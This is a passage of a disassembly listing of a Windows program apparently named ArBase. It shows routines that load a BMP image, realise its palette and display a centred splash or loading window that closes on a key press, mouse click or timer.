		call	__strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4B66A5
		mov	eax, [ebp+Str]
		add	eax, 9
		push	eax		; Source
		push	offset byte_4F415C ; Dest
		call	_strcpy_0
		add	esp, 8


loc_4B66A5:				; CODE XREF: WinMain(x,x,x,x)+1A9j
					; WinMain(x,x,x,x)+1DEj ...
		call	sub_4B5E84
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4B6719
		mov	ecx, [ebp+Str]
		mov	[ebp+Dest], ecx
		call	sub_4B45B1
		push	eax		; Source
		mov	edx, [ebp+Dest]
		push	edx		; Dest
		call	_strcpy_0
		add	esp, 8
		call	sub_4B45C2
		push	eax		; Str
		call	_strlen_0
		add	esp, 4
		test	eax, eax
		jz	short loc_4B6706
		push	offset asc_4ED704 ; "\n"
		mov	eax, [ebp+Str]
		push	eax		; Dest
		call	_strcat_0
		add	esp, 8
		mov	ecx, [ebp+Str]
		mov	[ebp+var_20], ecx
		call	sub_4B45C2
		push	eax		; Source
		mov	edx, [ebp+var_20]
		push	edx		; Dest
		call	_strcat_0
		add	esp, 8


loc_4B6706:				; CODE XREF: WinMain(x,x,x,x)+35Bj
		push	40010h
		push	0
		mov	eax, [ebp+Str]
		push	eax
		push	0
		call	dword_4ED22C	; MessageBoxA


loc_4B6719:				; CODE XREF: WinMain(x,x,x,x)+331j
		mov	ecx, dword_4F473C
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+Str]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4B673D(char *Source,char *Dest)

sub_4B673D	proc near		; CODE XREF: WinMain(x,x,x,x)+78p
					; WinMain(x,x,x,x)+16Ep

Count		= dword	ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
Dest		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8


loc_4B6743:				; CODE XREF: sub_4B673D+1Aj
		mov	eax, [ebp+Source]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 20h
		jnz	short loc_4B6759
		mov	edx, [ebp+Source]
		add	edx, 1
		mov	[ebp+Source], edx
		jmp	short loc_4B6743
; ---------------------------------------------------------------------------


loc_4B6759:				; CODE XREF: sub_4B673D+Fj
		mov	eax, [ebp+Source]
		mov	[ebp+var_4], eax


loc_4B675F:				; CODE XREF: sub_4B673D+40j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4B677F
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 20h
		jz	short loc_4B677F
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4B675F
; ---------------------------------------------------------------------------


loc_4B677F:				; CODE XREF: sub_4B673D+2Aj
					; sub_4B673D+35j
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+Source]
		mov	[ebp+Count], eax
		mov	ecx, [ebp+Count]
		push	ecx		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncpy_0
		add	esp, 0Ch
		mov	ecx, [ebp+Dest]
		add	ecx, [ebp+Count]
		mov	byte ptr [ecx],	0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4B673D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B67B0	proc near		; CODE XREF: sub_4B6BB7+6p
					; sub_4B6F14+149p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	dword_4ED0AC	; GetCurrentThreadId
		cmp	dword_4F44A8, eax
		jnz	short loc_4B67DA
		mov	eax, dword_4F4498
		push	eax
		call	dword_4ED228	; DestroyWindow
		mov	dword_4F4498, 0
		jmp	short loc_4B6824
; ---------------------------------------------------------------------------


loc_4B67DA:				; CODE XREF: sub_4B67B0+10j
		push	0
		push	0
		push	40Ah
		mov	ecx, dword_4F4498
		push	ecx
		call	dword_4ED278	; PostMessageA
		mov	[ebp+var_4], 0
		jmp	short loc_4B6802
; ---------------------------------------------------------------------------


loc_4B67F9:				; CODE XREF: sub_4B67B0+72j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4B6802:				; CODE XREF: sub_4B67B0+47j
		cmp	[ebp+var_4], 14h
		jge	short loc_4B6824
		mov	eax, dword_4F4498
		push	eax
		call	dword_4ED27C	; IsWindow
		test	eax, eax
		jnz	short loc_4B681A
		jmp	short loc_4B6824
; ---------------------------------------------------------------------------


loc_4B681A:				; CODE XREF: sub_4B67B0+66j
		push	64h
		call	dword_4ED1A4	; Sleep
		jmp	short loc_4B67F9
; ---------------------------------------------------------------------------


loc_4B6824:				; CODE XREF: sub_4B67B0+28j
					; sub_4B67B0+56j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4B67B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B6828	proc near		; CODE XREF: sub_4B6BB7+17p
					; DATA XREF: sub_4B45FB+159o

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= dword	ptr -4Ah
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
Dst		= dword	ptr -1Ch
var_12		= dword	ptr -12h
var_C		= dword	ptr -0Ch
Size		= dword	ptr -8
Src		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+Src], eax
		push	0Eh		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	eax, [ebp+Src]
		add	eax, 0Eh
		mov	[ebp+Src], eax
		mov	ecx, [ebp+Dst]
		and	ecx, 0FFFFh
		cmp	ecx, 4D42h
		jz	short loc_4B6867
		xor	eax, eax
		jmp	loc_4B6BB3
; ---------------------------------------------------------------------------


loc_4B6867:				; CODE XREF: sub_4B6828+36j
		push	28h		; Size
		mov	edx, [ebp+Src]
		push	edx		; Src
		lea	eax, [ebp+var_58]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp+Src]
		add	ecx, 28h
		mov	[ebp+Src], ecx
		mov	[ebp+var_20], 28h
		cmp	[ebp+var_38], 0
		jnz	short loc_4B68A2
		mov	ecx, [ebp+var_4A]
		and	ecx, 0FFFFh
		mov	edx, 1
		shl	edx, cl
		mov	[ebp+var_38], edx


loc_4B68A2:				; CODE XREF: sub_4B6828+65j
		cmp	[ebp+var_34], 0
		jnz	short loc_4B68BB
		mov	ecx, [ebp+var_4A]
		and	ecx, 0FFFFh
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_34], eax


loc_4B68BB:				; CODE XREF: sub_4B6828+7Ej
		mov	ecx, [ebp+var_4A]
		and	ecx, 0FFFFh
		cmp	ecx, 8
		jle	short loc_4B68D7
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_20]
		lea	ecx, [eax+edx*2]
		mov	[ebp+var_20], ecx
		jmp	short loc_4B68F0
; ---------------------------------------------------------------------------


loc_4B68D7:				; CODE XREF: sub_4B6828+9Fj
		mov	ecx, [ebp+var_4A]
		and	ecx, 0FFFFh
		mov	edx, 1
		shl	edx, cl
		mov	eax, [ebp+var_20]
		lea	ecx, [eax+edx*4]
		mov	[ebp+var_20], ecx


loc_4B68F0:				; CODE XREF: sub_4B6828+ADj
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_70]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx], 28h
		mov	edx, [ebp+var_2C]
		mov	eax, [ebp+var_54]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_50]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_2C]
		mov	cx, [ebp+var_4C]
		mov	[eax+0Ch], cx
		mov	edx, [ebp+var_2C]
		mov	ax, word ptr [ebp+var_4A]
		mov	[edx+0Eh], ax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_4A+2]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_44]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [ebp+var_40]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_3C]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_38]
		mov	[eax+20h], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [ebp+var_34]
		mov	[edx+24h], eax
		mov	ecx, [ebp+var_4A]
		and	ecx, 0FFFFh
		cmp	ecx, 8
		jg	loc_4B6AEA
		mov	edx, [ebp+var_2C]
		xor	eax, eax
		cmp	dword ptr [edx], 28h
		setz	al
		add	eax, 3
		mov	ecx, [ebp+var_38]
		imul	ecx, eax
		mov	[ebp+Size], ecx
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+var_2C]
		add	ecx, 28h
		push	ecx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp+Src]
		add	edx, [ebp+Size]
		mov	[ebp+Src], edx
		mov	eax, [ebp+var_38]
		shl	eax, 2
		lea	ecx, ds:20h[eax*4]
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_74], eax
		mov	edx, [ebp+var_74]
		mov	[ebp+var_5C], edx
		mov	eax, [ebp+var_5C]
		mov	word ptr [eax],	300h
		mov	ecx, [ebp+var_5C]
		mov	dx, word ptr [ebp+var_38]
		mov	[ecx+2], dx
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 28h
		jnz	short loc_4B6A5D
		mov	ecx, [ebp+var_2C]
		add	ecx, 28h
		mov	[ebp+var_64], ecx
		mov	[ebp+var_60], 0


loc_4B69FF:				; CODE XREF: sub_4B6828+231j
		mov	edx, [ebp+var_5C]
		xor	eax, eax
		mov	ax, [edx+2]
		cmp	[ebp+var_60], eax
		jnb	short loc_4B6A5B
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		mov	eax, [ebp+var_64]
		mov	al, [eax+2]
		mov	[edx+ecx*4+4], al
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		mov	eax, [ebp+var_64]
		mov	al, [eax+1]
		mov	[edx+ecx*4+5], al
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		mov	eax, [ebp+var_64]
		mov	al, [eax]
		mov	[edx+ecx*4+6], al
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		mov	byte ptr [edx+ecx*4+7],	0
		mov	eax, [ebp+var_60]
		add	eax, 1
		mov	[ebp+var_60], eax
		mov	ecx, [ebp+var_64]
		add	ecx, 4
		mov	[ebp+var_64], ecx
		jmp	short loc_4B69FF
; ---------------------------------------------------------------------------


loc_4B6A5B:				; CODE XREF: sub_4B6828+1E3j
		jmp	short loc_4B6AC9
; ---------------------------------------------------------------------------


loc_4B6A5D:				; CODE XREF: sub_4B6828+1C5j
		mov	edx, [ebp+var_2C]
		add	edx, 28h
		mov	[ebp+var_6C], edx
		mov	[ebp+var_68], 0


loc_4B6A6D:				; CODE XREF: sub_4B6828+29Fj
		mov	eax, [ebp+var_5C]
		xor	ecx, ecx
		mov	cx, [eax+2]
		cmp	[ebp+var_68], ecx
		jnb	short loc_4B6AC9
		mov	edx, [ebp+var_68]
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_6C]
		mov	cl, [ecx+2]
		mov	[eax+edx*4+4], cl
		mov	edx, [ebp+var_68]
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_6C]
		mov	cl, [ecx+1]
		mov	[eax+edx*4+5], cl
		mov	edx, [ebp+var_68]
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_6C]
		mov	cl, [ecx]
		mov	[eax+edx*4+6], cl
		mov	edx, [ebp+var_68]
		mov	eax, [ebp+var_5C]
		mov	byte ptr [eax+edx*4+7],	0
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		mov	edx, [ebp+var_6C]
		add	edx, 3
		mov	[ebp+var_6C], edx
		jmp	short loc_4B6A6D
; ---------------------------------------------------------------------------


loc_4B6AC9:				; CODE XREF: sub_4B6828:loc_4B6A5Bj
					; sub_4B6828+251j
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_4ED010	; CreatePalette
		mov	dword_4F44A0, eax
		mov	ecx, [ebp+var_5C]
		mov	[ebp+var_78], ecx
		mov	edx, [ebp+var_78]
		push	edx
		call	sub_4C85D6
		add	esp, 4


loc_4B6AEA:				; CODE XREF: sub_4B6828+150j
		mov	eax, [ebp+Dst+2]
		sub	eax, [ebp+var_12]
		mov	[ebp+Size], eax
		mov	ecx, [ebp+Src]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+Src]
		add	edx, [ebp+Size]
		mov	[ebp+Src], edx
		push	0
		push	0
		push	0
		push	offset aDisplay_0 ; "DISPLAY"
		call	dword_4ED00C	; CreateDCA
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], 0
		cmp	dword_4F44A0, 0
		jz	short loc_4B6B45
		push	0
		mov	eax, dword_4F44A0
		push	eax
		mov	ecx, [ebp+var_30]
		push	ecx
		call	dword_4ED008	; SelectPalette
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_30]
		push	edx
		call	dword_4ED004	; RealizePalette


loc_4B6B45:				; CODE XREF: sub_4B6828+2FCj
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		push	4
		lea	edx, [ebp+var_58]
		push	edx
		mov	eax, [ebp+var_30]
		push	eax
		call	dword_4ED024	; CreateDIBitmap
		mov	[ebp+var_C], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4B6B78
		push	0
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_30]
		push	edx
		call	dword_4ED008	; SelectPalette


loc_4B6B78:				; CODE XREF: sub_4B6828+33Ej
		mov	eax, [ebp+var_30]
		push	eax
		call	dword_4ED000	; DeleteDC
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_7C], ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jz	short loc_4B6BA2
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_54]
		mov	[eax], ecx


loc_4B6BA2:				; CODE XREF: sub_4B6828+370j
		cmp	[ebp+arg_8], 0
		jz	short loc_4B6BB0
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_50]
		mov	[edx], eax


loc_4B6BB0:				; CODE XREF: sub_4B6828+37Ej
		mov	eax, [ebp+var_C]


loc_4B6BB3:				; CODE XREF: sub_4B6828+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4B6828	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B6BB7	proc near		; CODE XREF: sub_4B4965+1B8p
					; .text:004B7294p
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_4B67B0
		lea	eax, [ebp+var_8]
		push	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4B6828
		add	esp, 0Ch
		mov	dword_4F449C, eax
		cmp	dword_4F449C, 0
		jz	short loc_4B6C02
		push	1
		mov	al, [ebp+arg_8]
		push	eax
		mov	cl, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4B6C08
		add	esp, 14h
		mov	al, 1
		jmp	short loc_4B6C04
; ---------------------------------------------------------------------------


loc_4B6C02:				; CODE XREF: sub_4B6BB7+2Bj
		xor	al, al


loc_4B6C04:				; CODE XREF: sub_4B6BB7+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B6BB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B6C08	proc near		; CODE XREF: sub_4B6BB7+3Fp
					; sub_4B7150+22p

var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
Dest		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		mov	[ebp+var_108], offset aArbaseBitmapWi ;	"ArBase	Bitmap Window"
		mov	[ebp+var_4], offset aArbaseTestBitm ; "ArBase Test Bitmap Window"
		mov	al, byte ptr [ebp+arg_C]
		mov	byte_4F44A4, al
		mov	cl, byte ptr [ebp+arg_8]
		mov	byte_4F44A5, cl
		mov	edx, [ebp+arg_0]
		mov	dword_4F4490, edx
		mov	eax, [ebp+arg_4]
		mov	dword_4F448C, eax
		mov	ecx, [ebp+arg_10]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B6CC2
		mov	edx, [ebp+arg_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_4B6CC2
		mov	byte_4F44B1, 1
		call	dword_4ED03C	; GetTickCount
		add	eax, 0FAh
		mov	[ebp+var_114], eax
		push	offset dword_4F44A8
		push	0
		push	0
		push	offset sub_4B7150
		push	0
		push	0
		call	dword_4ED02C	; CreateThread
		push	eax
		call	dword_4ED0E8	; CloseHandle


loc_4B6C95:				; CODE XREF: sub_4B6C08+AEj
		xor	eax, eax
		mov	al, byte_4F44B1
		test	eax, eax
		jz	short loc_4B6CB8
		call	dword_4ED03C	; GetTickCount
		cmp	eax, [ebp+var_114]
		jnb	short loc_4B6CB8
		push	1
		call	dword_4ED1A4	; Sleep
		jmp	short loc_4B6C95
; ---------------------------------------------------------------------------


loc_4B6CB8:				; CODE XREF: sub_4B6C08+96j
					; sub_4B6C08+A4j
		mov	eax, 1
		jmp	loc_4B6F10
; ---------------------------------------------------------------------------


loc_4B6CC2:				; CODE XREF: sub_4B6C08+47j
					; sub_4B6C08+54j
		call	dword_4ED0AC	; GetCurrentThreadId
		mov	dword_4F44A8, eax
		xor	ecx, ecx
		mov	cl, byte_4F44B0
		test	ecx, ecx
		jnz	loc_4B6D94
		mov	[ebp+var_13C], 0
		mov	[ebp+var_138], offset sub_4B6F14
		mov	[ebp+var_134], 0
		mov	[ebp+var_130], 0
		mov	edx, dword_4F4480
		mov	[ebp+var_12C], edx
		mov	[ebp+var_128], 0
		xor	eax, eax
		mov	al, byte_4F44A4
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		add	eax, 7F02h
		push	eax
		push	0
		call	dword_4ED240	; LoadCursorA
		mov	[ebp+var_124], eax
		mov	[ebp+var_120], 0
		mov	[ebp+var_11C], 0
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B6D68
		mov	edx, [ebp+var_4]
		mov	[ebp+var_144], edx
		jmp	short loc_4B6D74
; ---------------------------------------------------------------------------


loc_4B6D68:				; CODE XREF: sub_4B6C08+153j
		mov	eax, [ebp+var_108]
		mov	[ebp+var_144], eax


loc_4B6D74:				; CODE XREF: sub_4B6C08+15Ej
		mov	ecx, [ebp+var_144]
		mov	[ebp+var_118], ecx
		lea	edx, [ebp+var_13C]
		push	edx
		call	dword_4ED24C	; RegisterClassA
		mov	byte_4F44B0, 1


loc_4B6D94:				; CODE XREF: sub_4B6C08+CFj
		mov	eax, [ebp+arg_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B6DD6
		mov	[ebp+var_140], 0
		jmp	short loc_4B6DBB
; ---------------------------------------------------------------------------


loc_4B6DAC:				; CODE XREF: sub_4B6C08+1CCj
		mov	ecx, [ebp+var_140]
		add	ecx, 1
		mov	[ebp+var_140], ecx


loc_4B6DBB:				; CODE XREF: sub_4B6C08+1A2j
		cmp	[ebp+var_140], 100h
		jge	short loc_4B6DD6
		mov	edx, [ebp+var_140]
		push	edx
		call	dword_4ED1F8	; GetAsyncKeyState
		jmp	short loc_4B6DAC
; ---------------------------------------------------------------------------


loc_4B6DD6:				; CODE XREF: sub_4B6C08+196j
					; sub_4B6C08+1BDj
		push	0
		call	dword_4ED1FC	; GetSystemMetrics
		sub	eax, dword_4F4490
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_110], eax
		push	1
		call	dword_4ED1FC	; GetSystemMetrics
		sub	eax, dword_4F448C
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_10C], eax
		mov	eax, [ebp+arg_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B6E1F
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_148], ecx
		jmp	short loc_4B6E2B
; ---------------------------------------------------------------------------


loc_4B6E1F:				; CODE XREF: sub_4B6C08+20Aj
		mov	edx, [ebp+var_108]
		mov	[ebp+var_148], edx


loc_4B6E2B:				; CODE XREF: sub_4B6C08+215j
		push	0
		mov	eax, dword_4F4480
		push	eax
		push	0
		push	0
		mov	ecx, dword_4F448C
		push	ecx
		mov	edx, dword_4F4490
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		mov	ecx, [ebp+var_110]
		push	ecx
		xor	edx, edx
		mov	dl, byte_4F44A4
		neg	edx
		sbb	edx, edx
		and	edx, 0F8000000h
		add	edx, 8000000h
		or	edx, 80000000h
		push	edx
		push	0
		mov	eax, [ebp+var_148]
		push	eax
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFFF88h
		add	ecx, 80h
		push	ecx
		call	dword_4ED250	; CreateWindowExA
		mov	dword_4F4498, eax
		push	4
		mov	edx, dword_4F4498
		push	edx
		call	dword_4ED210	; ShowWindow
		mov	eax, dword_4F4498
		push	eax
		call	dword_4ED214	; UpdateWindow
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B6ED8
		push	0
		push	64h
		push	2
		mov	edx, dword_4F4498
		push	edx
		call	dword_4ED200	; SetTimer


loc_4B6ED8:				; CODE XREF: sub_4B6C08+2BBj
		mov	eax, dword_4F4498
		push	eax
		push	offset a08x	; "%08X"
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	_sprintf_0
		add	esp, 0Ch
		lea	edx, [ebp+Dest]
		push	edx
		push	offset aLoadingwindow ;	"LOADINGWINDOW"
		call	dword_4ED098	; SetEnvironmentVariableA
		mov	byte_4F44B1, 0
		mov	eax, dword_4F4498


loc_4B6F10:				; CODE XREF: sub_4B6C08+B5j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B6C08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B6F14	proc near		; DATA XREF: sub_4B6C08+DFo

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 202h
		ja	short loc_4B6F58
		cmp	[ebp+var_58], 202h
		jz	loc_4B7051
		cmp	[ebp+var_58], 2
		jz	loc_4B7069
		cmp	[ebp+var_58], 0Fh
		jz	short loc_4B6F84
		cmp	[ebp+var_58], 113h
		jz	loc_4B70AF
		jmp	loc_4B7134
; ---------------------------------------------------------------------------


loc_4B6F58:				; CODE XREF: sub_4B6F14+13j
		cmp	[ebp+var_58], 205h
		jz	loc_4B7051
		cmp	[ebp+var_58], 208h
		jz	loc_4B7051
		cmp	[ebp+var_58], 40Ah
		jz	loc_4B7126
		jmp	loc_4B7134
; ---------------------------------------------------------------------------


loc_4B6F84:				; CODE XREF: sub_4B6F14+30j
		lea	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED1EC	; BeginPaint
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		push	eax
		call	dword_4ED020	; CreateCompatibleDC
		mov	[ebp+var_54], eax
		mov	ecx, dword_4F449C
		push	ecx
		mov	edx, [ebp+var_54]
		push	edx
		call	dword_4ED01C	; SelectObject
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		cmp	dword_4F44A0, 0
		jz	short loc_4B6FE5
		push	0
		mov	eax, dword_4F44A0
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	dword_4ED008	; SelectPalette
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_4ED004	; RealizePalette


loc_4B6FE5:				; CODE XREF: sub_4B6F14+B0j
		push	0CC0020h
		push	0
		push	0
		mov	eax, [ebp+var_54]
		push	eax
		mov	ecx, dword_4F448C
		push	ecx
		mov	edx, dword_4F4490
		push	edx
		push	0
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		call	dword_4ED018	; BitBlt
		cmp	[ebp+var_8], 0
		jz	short loc_4B7024
		push	0
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_4ED008	; SelectPalette


loc_4B7024:				; CODE XREF: sub_4B6F14+FEj
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_54]
		push	ecx
		call	dword_4ED01C	; SelectObject
		mov	edx, [ebp+var_54]
		push	edx
		call	dword_4ED000	; DeleteDC
		lea	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4ED1F0	; EndPaint
		xor	eax, eax
		jmp	loc_4B714A
; ---------------------------------------------------------------------------


loc_4B7051:				; CODE XREF: sub_4B6F14+1Cj
					; sub_4B6F14+4Bj ...
		xor	edx, edx
		mov	dl, byte_4F44A4
		test	edx, edx
		jz	short loc_4B7062
		call	sub_4B67B0


loc_4B7062:				; CODE XREF: sub_4B6F14+147j
		xor	eax, eax
		jmp	loc_4B714A
; ---------------------------------------------------------------------------


loc_4B7069:				; CODE XREF: sub_4B6F14+26j
		cmp	dword_4F449C, 0
		jz	short loc_4B7088
		mov	eax, dword_4F449C
		push	eax
		call	dword_4ED014	; DeleteObject
		mov	dword_4F449C, 0


loc_4B7088:				; CODE XREF: sub_4B6F14+15Cj
		cmp	dword_4F44A0, 0
		jz	short loc_4B70A8
		mov	ecx, dword_4F44A0
		push	ecx
		call	dword_4ED014	; DeleteObject
		mov	dword_4F44A0, 0


loc_4B70A8:				; CODE XREF: sub_4B6F14+17Bj
		xor	eax, eax
		jmp	loc_4B714A
; ---------------------------------------------------------------------------


loc_4B70AF:				; CODE XREF: sub_4B6F14+39j
		cmp	[ebp+arg_8], 2
		jnz	short loc_4B70EF
		mov	[ebp+var_4], 0
		jmp	short loc_4B70C7
; ---------------------------------------------------------------------------


loc_4B70BE:				; CODE XREF: sub_4B6F14:loc_4B70EBj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4B70C7:				; CODE XREF: sub_4B6F14+1A8j
		cmp	[ebp+var_4], 100h
		jge	short loc_4B70ED
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4ED1F8	; GetAsyncKeyState
		movsx	ecx, ax
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4B70EB
		call	sub_4B67B0
		jmp	short loc_4B70ED
; ---------------------------------------------------------------------------


loc_4B70EB:				; CODE XREF: sub_4B6F14+1CEj
		jmp	short loc_4B70BE
; ---------------------------------------------------------------------------


loc_4B70ED:				; CODE XREF: sub_4B6F14+1BAj
					; sub_4B6F14+1D5j
